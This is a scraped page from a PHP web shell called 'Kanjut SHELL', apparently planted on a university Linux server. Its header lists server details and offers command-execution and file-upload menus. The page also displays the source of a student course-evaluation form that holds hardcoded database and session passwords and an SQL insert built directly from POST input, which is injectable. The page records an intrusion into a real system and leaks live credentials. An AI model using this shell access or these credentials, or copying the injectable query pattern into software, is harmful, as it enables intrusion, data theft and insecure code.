Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.225.254.81
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/vnlaughlin/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/vnlaughlin/public_html/evalformDBMS.php
<!-- evalform.php -->
<?php	session_start();	?>
<?php

	$pass = $_SESSION['psw'];
	$_SESSION['psw'] = $pass;

	if($pass != "project")
			print "Incorrect Password.";
	else
	{
		$gender = $_POST['gender'];
		$grade = $_POST['grade'];
		$course = $_POST['course'];
		$estimate = $_POST['estimate'];
		$lectprep = $_POST['q1'];
		$stupart = $_POST['q2'];
		$overall = $_POST['q3'];

		if($gender == "m")
			$gender = "Male";
		else if($gender == "f")
			$gender = "Female";
		else
			$gender = "NULL";

		if($grade == "fr")
			$grade = "Freshman";
		else if($grade == "so")
			$grade = "Sophomore";
		else if($grade == "ju")
			$grade = "Junior";
		else if($grade == "se")
			$grade = "Senior";
		else
			$grade = "NULL";

		if (strlen($course) == 0)
			$course = "NULL";

		if (strlen($estimate) == 0)
			$estimate = "NULL";

		$host = 'localhost';
		$user = 'vnlaughlin';
		$password = 'cs480';
		$database = 'vnlaughlin';
		$connect = mysqli_connect($host, $user, $password);
		$query2 = "insert into EVALUATION values ('$gender', '$grade', '$course', '$estimate', '$lectprep', '$stupart', '$overall')";
		mysqli_select_db($connect, $database);
		if(mysqli_query($connect, $query2))
		{
			include("displaytableDBMS.php");
			print "<HR></CENTER><FONT size=1><A HREF=onlineformDBMS.php> Back to Evaluation Form </A><br><A HREF=projecthomepageDBMS.php> 	Back to Online Course Evaluation DBMS</A></FONT>";
		}
		else
			print "ERROR.";
	}

?>

Stv3n404 - 2023